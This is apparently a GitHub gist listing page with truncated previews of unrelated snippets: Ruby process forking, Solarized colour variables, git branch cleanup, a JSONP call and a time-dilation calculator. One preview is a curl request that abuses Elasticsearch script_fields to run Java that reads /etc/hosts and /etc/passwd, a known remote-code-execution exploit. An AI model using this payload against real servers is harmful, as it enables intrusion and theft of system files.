This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Examples built with referenced from https://github.com/mojombo/grit/blob/master/lib/grit/repo.rb | |
POST /repos | |
PARAMS | |
bare: { type:Boolean, default:false } | |
repo_name: { type:String, required:true } | |
path: {type:String, required:true } | |
REQUEST EXMAPLE | |
{ | |
"bare":true, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ENV['p_name'] = 'master' | |
puts "[master] pid: #{Process.pid} pname: #{ENV['p_name']}" | |
p1 = Process.fork{ | |
puts "[p1] pid: #{Process.pid} pname: #{ENV['p_name']}" | |
ENV['p_name'] = 'p1' | |
puts "[p1] pid: #{Process.pid} pname: #{ENV['p_name']}" | |
} | |
p2 = Process.fork{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$base03: #002b36 | |
$base02: #073642 | |
$base01: #586e75 | |
$base00: #657b83 | |
$base0: #839496 | |
$base1: #93a1a1 | |
$base2: #eee8d5 | |
$base3: #fdf6e3 | |
$yellow: #b58900 | |
$orange: #cb4b16 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
git branch --merged master | grep -v "\* master" | grep -v "develop" | xargs -n 1 git branch -d | |
git branch -r --merged master | grep -v ">" | grep -v "develop" | grep -v "master" | sed 's/ *origin\///' | xargs -n 1 git push origin --delete |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$.ajax | |
type: 'GET' | |
url: "http://crossdomain.com/data" | |
async: true | |
contentType: "application/json" | |
dataType: 'jsonp' | |
jsonpCallback: 'success_jsonpCallback' | |
success: (response) -> | |
console.log( response ) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl http://localhost:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery1111003201273805461824_1400992064967&_=1400992064968 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# http://en.wikipedia.org/wiki/Time_dilation | |
# | |
C = 300000.0 | |
SECONDS_IN_YEAR = 365 * 24 * 3600 | |
def calculate(v, delta_t) | |
relative_v = ( v * v ) / ( C * C ) | |
denominator = Math.sqrt( 1 - relative_v ).to_f |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
per_batch = 10 | |
0.step(User.count, per_batch) do |offset| | |
puts User.limit(per_batch).skip(offset).map(&:username).inspect | |
end |
NewerOlder